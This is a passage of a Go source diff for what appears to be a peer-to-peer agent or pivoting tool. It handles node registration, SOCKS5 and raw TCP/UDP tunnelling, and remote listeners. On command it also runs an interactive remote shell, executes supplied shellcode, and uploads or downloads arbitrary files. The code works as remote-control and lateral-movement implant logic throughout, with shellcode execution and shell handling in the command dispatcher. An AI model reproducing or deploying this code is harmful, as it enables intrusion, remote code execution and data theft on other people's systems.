uint32, b []byte) { + msg := common.Msg{ + From: currentNode.uuid, + To: n.uuid, + CmdOpteion: option, + CmdId: id, + CmdData: b, + } + + if n.uuid == currentNode.uuid { + n.mirrorNode.do(&msg) + } else { + b := msg.Marshal() + if n.conn != nil { + n.conn.OutChan <- b + } else { + upNodeWrite <- msg.Marshal() + } + } + +} +func (n *node) WriteMsg(msg *common.Msg) { + + if n.conn != nil { + n.conn.OutChan <- msg.Marshal() + } else { + upNodeWrite <- msg.Marshal() + } +} +func (n *node) do(msg *common.Msg) { + + var err error + //fmt.Println(common.CmdToName[msg.CmdOpteion]) + switch msg.CmdOpteion { + case common.CMD_CONNECT_BYIDADDR: + msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData) + if len(msg.CmdData) < 9 { + return + } + conn := &serverConnect{} + conn.node = n + conn.id = msg.CmdId + conn.write = make(chan *bytes.Buffer, 64) + conn.close = 0 + conn.windowsSize = 0 + conn.wait = make(chan int) + n.connMap.Store(conn.id, conn) + conn.randkey = make([]byte, 8) + copy(conn.randkey, msg.CmdData) + addr := string(msg.CmdData[9:]) + + switch common.NetWork(msg.CmdData[8]) { + case common.SOCKS5_CMD_CONNECT: + conn.address = addr + go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr) + case common.SOCKS5_CMD_UDP: + go conn.doHandleUdp() + case common.RAW_TCP: + go conn.doConnectTcp(common.RAW_TCP, addr) + case common.RAW_TCP_WITH_PROXY: + go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr) + case common.SOCKS5_CMD_BIND: + _l, err := net.Listen("tcp", addr) + if err != nil { + data := append(conn.randkey, 0) + data = append(data, err.Error()...) + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data) + return + } + + l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId, randkey: conn.randkey} + + n.connMap.Delete(conn.id) + l.socks5Replay = make([]byte, len(msg.CmdData[8:])) + copy(l.socks5Replay, msg.CmdData[8:]) + n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...)) + n.listenMap.Store(l.id, l) + go l.Lisen() + } + case common.CMD_CONNECT_BYIDADDR_RESULT: + + if v, ok := n.connMap.Load(msg.CmdId); ok { + if conn, ok := v.(common.Conn); ok { + conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...)) + } + } + case common.CMD_CONN_MSG: + + v, ok1 := n.connMap.Load(msg.CmdId) + conn, ok2 := v.(common.Conn) + if !ok1 || !ok2 { + n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil) + return + } + conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...)) + case common.CMD_DELETE_CONNID: + v, ok := n.connMap.Load(msg.CmdId) + if ok { + if conn, ok2 := v.(common.Conn); ok2 { + conn.Close("对方节点要求关闭") + } else { + n.connMap.Delete(msg.CmdId) + } + + } + + case common.CMD_WINDOWS_UPDATE: + v, ok := n.connMap.Load(msg.CmdId) + if ok { + conn := v.(*serverConnect) + windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56 + if windows_update_size > 0 { + old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size + if old < 0 { + go func() { + select { + case conn.wait <- common.CONN_STATUS_OK: + case <-time.After(time.Second): + } + }() + } + } + + } else { + n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil) + } + + case common.CMD_REG: + func() { + l := clientLock.Lock() + defer l.Unlock() + + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + if err != nil { + regmsg.Err = err.Error() + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REG_RESULT, 0, b) + return + } + uuid := regmsg.UUID + if uuid == currentNode.uuid { + regmsg.Err = "不能连接自己" + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REG_RESULT, 0, b) + return + } + + n.hostName = cert.RSADecrypterStr(regmsg.Hostname) + n.mainIp = cert.RSADecrypterStr(regmsg.MainIp) + if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil { + n.port = -1 + } + n.goos = cert.RSADecrypterStr(regmsg.Goos) + n.addr = n.conn.nodeConn.RemoteAddr().String() + if i := strings.Index(n.addr, ":"); i > -1 { + n.addr = n.addr[:i] + } + resultMsg := regmsg + resultMsg.UUID = currentNode.uuid + resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName) + resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp) + resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)) + resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos) + + b, _ := json.Marshal(resultMsg) + //返回成功结果 + n.Write(common.CMD_REG_RESULT, 0, b) + //储存节点 + n.uuid = uuid + if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 { + n.conn.node = n + nodeMap[regmsg.UUID] = n + + } + currentNode.broadcastNode() + //把本机所有节点同步到注册机器 + go n.writeGetNodeResult(msg.CmdId) + }() + case common.CMD_REG_RESULT: + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + + if err != nil { + select { + case n.conn.regResult <- err: + default: + } + return + } + + if regmsg.Err != "" { + select { + case n.conn.regResult <- errors.New(regmsg.Err): + + default: + } + return + } + + //fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr) + l := clientLock.Lock() + + n.uuid = regmsg.UUID + n.hostName = cert.RSADecrypterStr(regmsg.Hostname) + n.goos = cert.RSADecrypterStr(regmsg.Goos) + n.addr = n.conn.nodeConn.RemoteAddr().String() + if i := strings.Index(n.addr, ":"); i > -1 { + n.addr = n.addr[:i] + } + workconn := n.conn + n.mainIp = cert.RSADecrypterStr(regmsg.MainIp) + if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil { + n.port = -1 + } + if v, ok := nodeMap[regmsg.UUID]; ok { + if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 { + n.uuid = "" //清空uuid避免正常的node被删 + n.conn.Close("重复注册") //当前的连接关掉 + n.conn = v.conn + v.mainIp = cert.RSADecrypterStr(regmsg.MainIp) + if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil { + v.port = -1 + } + n = v + } else { + n.conn.node = n + } + + } else { + n.conn.node = n + } + + nodeMap[n.uuid] = n + l.Unlock() + + select { + case workconn.regResultNode <- n: + + default: + } + + //交换节点 + n.writeGetNodeResult(msg.CmdId) + + case common.CMD_REMOTE_REG: + + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + if currentConfig.Limit { + regmsg.Err = "node is in limit mode" + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b) + return + } + if err == nil { + var newNode *node + + newNode, err = connectNew(regmsg.RegAddr) + if err == nil { + + regmsg.UUID = newNode.uuid + regmsg.Hostname = cert.RSADecrypterStr(newNode.hostName) + regmsg.ViaUUID = cert.RSADecrypterStr(currentNode.uuid) + regmsg.MainIp = cert.RSADecrypterStr(newNode.mainIp) + regmsg.Port = cert.RSADecrypterStr(strconv.Itoa(newNode.port)) + regmsg.Goos = cert.RSADecrypterStr(newNode.goos) + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b) + } + } + if err != nil { + regmsg.Err = err.Error() + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b) + } + n.writeGetNodeResult(msg.CmdId) + case common.CMD_REMOTE_REG_RESULT: + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + v, ok := n.loadQuery(msg.CmdId) + if !ok { + return + } + if err != nil { + v <- err + return + } + if regmsg.Err != "" { + v <- errors.New(regmsg.Err) + return + } + l := clientLock.Lock() + if n.uuid != regmsg.UUID { + var targetNode *node + if targetNode, ok = nodeMap[regmsg.UUID]; !ok { + targetNode = getNewNode(nodeInfo{ + UUID: regmsg.UUID, + HostName: cert.RSADecrypterStr(regmsg.Hostname), + MainIp: cert.RSADecrypterStr(regmsg.MainIp), + Port: cert.RSADecrypterStr(regmsg.Port), + Goos: cert.RSADecrypterStr(regmsg.Goos), + }, n) + + nodeMap[regmsg.UUID] = targetNode + } else { + targetNode.updateNode(nodeInfo{ + UUID: regmsg.UUID, + HostName: cert.RSADecrypterStr(regmsg.Hostname), + MainIp: cert.RSADecrypterStr(regmsg.MainIp), + Port: cert.RSADecrypterStr(regmsg.Port), + Goos: cert.RSADecrypterStr(regmsg.Goos), + }) + } + v <- targetNode + } else { + v <- n + } + + l.Unlock() + n.writeGetNodeResult(msg.CmdId) + + case common.CMD_PING: + n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...)) + case common.CMD_NONE: + + case common.CMD_PONG: + pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56 + if pingTime != n.pingTime { + return + } + n.addr = string(msg.CmdData[8:]) + if i := strings.Index(n.addr, ":"); i > -1 { + n.addr = n.addr[:i] + } + n.pongTime = time.Now().Unix() + if v, ok := n.loadQuery(msg.CmdId); ok { + select { + case v <- struct{}{}: + default: + } + + } + case common.CMD_CONN_UDP_MSG: + + _, ok := n.connMap.Load(msg.CmdId) + + if ok { + + var conn common.Conn + id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24 + if v2, ok := n.connMap.Load(id); ok { + conn = v2.(common.Conn) + } else { + var ip string + switch msg.CmdData[4] { + case 1: + ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10])) + + case 3: + case 4: + } + udpconn := &serverConnect{} + udpconn.conn, err = net.Dial("udp", ip) + if err != nil { + return + } + udpconn.node = n + udpconn.id = id + udpconn.write = make(chan *bytes.Buffer, 64) + udpconn.close = 0 + udpconn.windowsSize = 0 + udpconn.wait = make(chan int) + + n.connMap.Store(udpconn.id, udpconn) + go udpconn.handUdpReceive() + conn = udpconn + } + switch msg.CmdData[4] { + case 1: + conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...)) + + } + + } + case common.CMD_LISTEN: + msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData) + if len(msg.CmdData) < 8 { + return + } + randkey := make([]byte, 8) + copy(randkey, msg.CmdData) + //fmt.Println("listen", string(data[common.Headlen+4:])) + _l, err := net.Listen("tcp", string(msg.CmdData[8:])) + if err != nil { + data := append(randkey, 0) + data = append(randkey, err.Error()...) + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data) + return + } else { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1)) + } + l := &serverListen{listen: _l, node: n, id: msg.CmdId, randkey: randkey} + n.listenMap.Store(msg.CmdId, l) + + go l.Lisen() + case common.CMD_REMOTE_SOCKS5: + msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData) + if len(msg.CmdData) < 8 { + return + } + randkey := make([]byte, 8) + copy(randkey, msg.CmdData) + + cfg, err := common.ParseAddr(string(msg.CmdData[8:])) + if err != nil { + data := append(randkey, 0) + data = append(data, err.Error()...) + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data) + return + } + l := &serverListen{node: n, id: msg.CmdId, randkey: randkey} + l.listen, err = StartSocks5WithServer(cfg, n, l.id) + if err != nil { + data := append(randkey, 0) + data = append(data, err.Error()...) + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data) + return + } else { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1)) + } + + n.listenMap.Store(l.id, l) + + case common.CMD_LISTEN_RESULT: + + if len(msg.CmdData) < 9 { + return + } + if v, ok := currentNode.listenMap.Load(msg.CmdId); ok { + if c, ok := v.(*clientListen); ok { + if string(c.randkey) == string(msg.CmdData[:8]) { + if msg.CmdData[8] == 0 { + select { + case c.result <- errors.New(string(msg.CmdData[9:])): + default: + } + + } else { + select { + case c.result <- nil: + default: + } + } + } + } + } + + case common.CMD_DELETE_LISTEN: + if len(msg.CmdData) < 8 { + return + } + if v, ok := n.listenMap.Load(msg.CmdId); ok { + switch s := v.(type) { + case *serverListen: + if string(s.randkey) == string(msg.CmdData[:8]) { + s.Close(remoteClose) + n.listenMap.Delete(msg.CmdId) + } + + case *clientListen: + if string(s.randkey) == string(msg.CmdData[:8]) { + s.Close(remoteClose) + n.listenMap.Delete(msg.CmdId) + } + } + } + + case common.CMD_DELETE_LISTENCONN_BYID: + if len(msg.CmdData) != 12 { + return + } + deleteId := uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24 + if v, ok := n.listenMap.Load(msg.CmdId); ok { + if s, ok := v.(*serverListen); ok { + if string(s.randkey) == string(msg.CmdData[:8]) { + conn, ok := s.connMap.Load(deleteId) + if ok { + conn.(*serverConnect).Close(remoteClose) + s.connMap.Delete(deleteId) + } + } + } + } + + case common.CMD_PWD: + if currentConfig.Password == cert.RSADecrypterByPub(string(msg.CmdData)) { + pwd, _ := os.Getwd() + n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd)) + } + + case common.CMD_PWD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + select { + case v <- string(msg.CmdData): + default: + } + + } + case common.CMD_GET_NODE: + n.writeGetNodeResult(msg.CmdId) + case common.CMD_GET_NODE_RESULT: + l := clientLock.Lock() + defer l.Unlock() + + var s []nodeInfo + err = json.Unmarshal(msg.CmdData, &s) + if err == nil { + for _, _n := range s { + _n = nodeInfo{ + UUID: _n.UUID, + HostName: cert.RSADecrypterStr(_n.HostName), + MainIp: cert.RSADecrypterStr(_n.MainIp), + Port: cert.RSADecrypterStr(_n.Port), + Goos: cert.RSADecrypterStr(_n.Goos), + } + if _n.UUID != currentNode.uuid { + if v, ok := nodeMap[_n.UUID]; !ok { + nodeMap[_n.UUID] = getNewNode(_n, n) + } else { + v.hostName = _n.HostName + v.mainIp = _n.MainIp + v.port, _ = strconv.Atoi(_n.Port) + } + + } + } + } + v, ok := n.loadQuery(msg.CmdId) + if ok { + //通知已更新列表 + select { + case v <- err: + default: + } + } + case common.CMD_GET_CURRENT_NODE: + nmsg := &nodeInfo{ + UUID: currentNode.uuid, + HostName: cert.RSAEncrypterStr(currentNode.hostName), + MainIp: cert.RSAEncrypterStr(currentNode.mainIp), + Port: cert.RSAEncrypterStr(fmt.Sprint(currentNode.port)), + Goos: cert.RSAEncrypterStr(currentNode.goos), + } + b, _ := json.Marshal(nmsg) + n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b) + + case common.CMD_ADD_NODE: + var nmsg nodeInfo + err = json.Unmarshal(msg.CmdData, &nmsg) + + if err != nil { + return + } + + l := clientLock.Lock() + defer l.Unlock() + if v, ok := nodeMap[nmsg.UUID]; !ok { + newNode := getNewNode(nmsg, n) + nodeMap[nmsg.UUID] = newNode + } else if nmsg.UUID != currentNode.uuid { + port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)) + if err == nil { + v.port = port + } else { + v.port = -1 + } + + v.mainIp = cert.RSADecrypterStr(nmsg.MainIp) + v.hostName = cert.RSADecrypterStr(nmsg.HostName) + v.goos = cert.RSADecrypterStr(nmsg.Goos) + v.uuid = nmsg.UUID + + nodeMap[nmsg.UUID] = v + + } + case common.CMD_DIR: + + dirPth := cert.RSADecrypterByPub(string(msg.CmdData)) + dir, err := ioutil.ReadDir(dirPth) + if err != nil { + n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败")) + return + } + var s []string + var maxlen int + var hasdir string + for _, fi := range dir { + if len(fi.Name()) > maxlen { + maxlen = len(fi.Name()) + } + if fi.IsDir() { + hasdir = " " + } + } + for _, fi := range dir { + var p string + name := bytes.Repeat([]byte(" "), maxlen) + copy(name, fi.Name()) + if fi.IsDir() { // 忽略目录 + p = " " + string(name) + } else { + p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10) + } + s = append(s, p) + } + n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n"))) + + case common.CMD_DIR_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + select { + case v <- string(msg.CmdData): + default: + } + + } + + case common.CMD_CD: + dirPth := cert.RSADecrypterByPub(string(msg.CmdData)) + s, err := os.Stat(dirPth) + if err != nil { + n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + return + } + if s.IsDir() { + n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...)) + } else { + n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...)) + } + case common.CMD_CD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + if msg.CmdData[0] == 0 { + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + } else { + select { + case v <- string(msg.CmdData[1:]): + default: + } + } + } + + case common.CMD_CONNECT_BYID: + + var l *clientListen + if v, ok := currentNode.listenMap.Load(msg.CmdId); ok { + l, _ = v.(*clientListen) + } + if l == nil { + n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey) + return + } + if len(msg.CmdData) < 8 || string(l.randkey) != string(msg.CmdData[:8]) { + n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey) + return + } + //l := clientLock.Lock() + //b := clientListenMap[id] + //l.Unlock() + conn, err := net.Dial("tcp", l.localAddr) + if err != nil { + n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, append(l.randkey, msg.CmdData...)) + return + } + client := &clientConnect{} + client.id = uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24 + client.server = l.server + client.listenId = msg.CmdId + client.conn = conn + client.OnOpened() + client.randkey = append([]byte{}, l.randkey...) + l.connMap.Store(client.id, client) + l.server.connMap.Store(client.id, client) + go rawHandleLocal(client) + case common.CMD_PING_LISTEN: + if _, ok := n.listenMap.Load(msg.CmdId); !ok { + //通知客户端服务器listen不存在 + n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0}) + } + + case common.CMD_PING_LISTEN_RESULT: + if value, ok := n.listenMap.Load(msg.CmdId); ok { + switch v := value.(type) { + case *clientListen: + n.Write(v.openOption, v.id, v.openMsg) + go func() { + select { + case res := <-v.result: + if err, ok := res.(error); ok { + v.Close(err.Error()) + } + case <-time.After(common.CMD_TIMEOUT): + + v.Close("listen time out") + + } + }() + case *serverListen: + v.Close(remoteClose) + } + } + case common.CMD_UPLOAD: + msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData) + i := bytes.IndexByte(msg.CmdData, 0) + if i == -1 { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...)) + return + } + file := string(msg.CmdData[:i]) + offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56 + var f *os.File + + if offset == 0 { + f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666) + } else { + f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666) + } + if err != nil { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...)) + return + } + defer f.Close() + f.Seek(offset, 0) + num, err := f.Write(msg.CmdData[i+9:]) + if err != nil { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...)) + return + } + if num != len(msg.CmdData[i+9:]) { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...)) + return + } + s, err := os.Stat(file) + if err == nil { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)}) + } + + case common.CMD_UPLOAD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + if msg.CmdData[0] == 0 { + + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + } else { + size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56 + select { + case v <- size: + default: + } + } + + } + case common.CMD_DOWNLOAD: + msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData) + i := bytes.IndexByte(msg.CmdData, 0) + file := string(msg.CmdData[:i]) + offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56 + var size int64 + if offset == -1 { + s, err := os.Stat(file) + if err != nil { + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...)) + return + } + if s.IsDir() { + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...)) + return + } + size = s.Size() + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)}) + } + f, err := os.Open(file) + if err != nil { + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...)) + return + } + defer f.Close() + f.Seek(offset, 0) + + for i := 0; i < 10; i++ { + buf := make([]byte, common.MAX_PACKAGE-1) + num, err := f.Read(buf) + if err != nil { + if err == io.EOF { + + return + } + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...)) + return + } + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...)) + } + case common.CMD_DOWNLOAD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + switch msg.CmdData[0] { + case 0: + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + case 1: + size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56 + select { + case v <- size: + default: + } + case 2: + select { + case v <- msg.CmdData[1:]: + default: + } + } + } + case common.CMD_SHELL: + var param StartCmdParam + if err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), ¶m); err != nil { + n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + } + if err := startCMD(n, msg.CmdId, param); err != nil { + n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + } + case common.CMD_SHELL_RESULT: + + if v, ok := n.loadQuery(msg.CmdId); ok { + + if msg.CmdData[0] == 0 { + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + } else { + select { + case v <- msg.CmdData[1:]: + + default: + } + + } + } + + case common.CMD_SHELL_DATA: + + if v, ok := n.shellMap.Load(msg.CmdId); ok { + cmd := v.(*remoteCmd) + select { + case cmd.inChan <- msg.CmdData: + default: + } + } + case common.CMD_RUN_SHELLCODE: + go func() { + var s ShellCodeStruct + err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &s) + if err != nil { + n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error())) + } + err = doShellcode(s) + if err != nil { + n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error())) + } else { + n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil) + } + }() + + case common.CMD_RUN_SHELLCODE_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + var err error + if len(msg.CmdData) > 0 { + err = errors.New(string(msg.CmdData)) + } + + select { + case v <- err: + default: + } + } + default: + + n.conn.Close("协议错误") + + } +} +func (n *node) remoteReg(addr string) (newN *node, err error) { + regmsg := common.RegMsg{ + RegAddr: addr, + UUID: currentNode.uuid, + MainIp: cert.RSAEncrypterStr(currentNode.mainIp), + Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)), + Goos: cert.RSAEncrypterStr(currentNode.goos), + } + regmsg.Hostname, _ = os.Hostname() + b, _ := json.Marshal(regmsg) + resChan := make(chan interface{}, 1) + id := n.storeQuery(resChan) + + n.Write(common.CMD_REMOTE_REG, id, b) + select { + case i := <-resChan: + n.deleteQuery(id) + if v, ok := i.(error); ok { + return nil, v + } + if v, ok := i.(*node); ok { + return v, nil + } + + case <-time.After(common.CMD_TIMEOUT): + n.deleteQuery(id) + return nil, errors.New("time out") + } + return nil, errors.New("error result") +} +func (n *node) Close(reason string) { + if n.conn != nil && n.conn.node.uuid == n.uuid { + n.conn.Close(reason) + } + n.Delete(reason) +} +func getNewNode(m nodeInfo, n *node) *node { + port, _ := strconv.Atoi(m.Port) + newNode := &node{ + uuid: m.UUID, + hostName: m.HostName, + conn: n.conn, + pongTime: time.Now().Unix(), + mainIp: m.MainIp, + port: port, + goos: m.Goos, + } + + return newNode +} +func allNodesDo(f func(*node) (bool, error)) (err error) { + var ok bool + + l := clientLock.RLock() + defer l.RUnlock() + + for _, n := range nodeMap { + if n.uuid != currentNode.uuid { + func() { + + l.RUnlock() + defer clientLock.RLock(l) + ok, err = f(n) + }() + if err != nil { + return err + } + if !ok { + break + } + } + } + return nil +} +func (n *node) ping(id uint32) { + + l := clientLock.Lock() + + defer func() { + l.Unlock() + }() + now := time.Now() + if n.pingTime > n.pongTime { + + if n.conn != nil && n.conn.node.uuid == n.uuid { + n.conn.Close("超时关闭") + } + n.Delete("超时关闭") + //尝试重连 + + go func() { + if !currentConfig.Limit && len(n.mainIp) > 0 { + for _, addr := range n.mainIp { + _n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port)) + if _n != nil { + return + } + } + } + }() + return + } + n.pingTime = now.Unix() + if n.pongTime == 0 { + n.pongTime = n.pingTime + } + + pingdata := make([]byte, 8) + pingdata[0] = byte(n.pingTime & 255) + pingdata[1] = byte(n.pingTime >> 8 & 255) + pingdata[2] = byte(n.pingTime >> 16 & 255) + pingdata[3] = byte(n.pingTime >> 24 & 255) + pingdata[4] = byte(n.pingTime >> 32 & 255) + pingdata[5] = byte(n.pingTime >> 40 & 255) + pingdata[6] = byte(n.pingTime >> 48 & 255) + pingdata[7] = byte(n.pingTime >> 56 & 255) + msg := &common.Msg{ + From: currentNode.uuid, + To: n.uuid, + CmdOpteion: common.CMD_PING, + CmdId: id, + CmdData: pingdata, + } + n.WriteMsg(msg) + + n.listenMap.Range(func(key, value interface{}) bool { + switch v := value.(type) { + case *serverListen: + msg.CmdOpteion = common.CMD_PING_LISTEN + msg.CmdData = nil + n.WriteMsg(msg) + case *clientListen: + msg.CmdOpteion = common.CMD_PING_LISTEN + msg.CmdData = nil + v.server.WriteMsg(msg) + } + + return true + }) +} +func (n *node) Delete(reason string) { + go func() { + if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) { + l := clientLock.Lock() + _, ok := nodeMap[n.uuid] + if ok { + delete(nodeMap, n.uuid) + } + l.Unlock() + n.connMap.Range(func(key, value interface{}) bool { + if v, ok := value.(common.Conn); ok { + v.Close(reason) + } + n.connMap.Delete(key) + return true + }) + n.udpConnMap.Range(func(key, value interface{}) bool { + if v, ok := value.(common.Conn); ok { + v.Close(reason) + } + n.udpConnMap.Delete(key) + return true + }) + n.listenMap.Range(func(key, value interface{}) bool { + + if v, ok := value.(*serverListen); ok { + v.listen.Close() + } + n.listenMap.Delete(key) + return true + }) + n.shellMap.Range(func(key, value interface{}) bool { + v := value.(*remoteCmd) + if v.cmd != nil { + v.cmd.Process.Kill() + } + n.shellMap.Delete(key) + return true + }) + } + + }() + +} +func (n *node) broadcastNode() { + + //广播新增节点 + nmsg := &nodeInfo{ + UUID: n.uuid, + HostName: cert.RSAEncrypterStr(n.hostName), + MainIp: cert.RSAEncrypterStr(n.mainIp), + Port: cert.RSAEncrypterStr(fmt.Sprint(n.port)), + 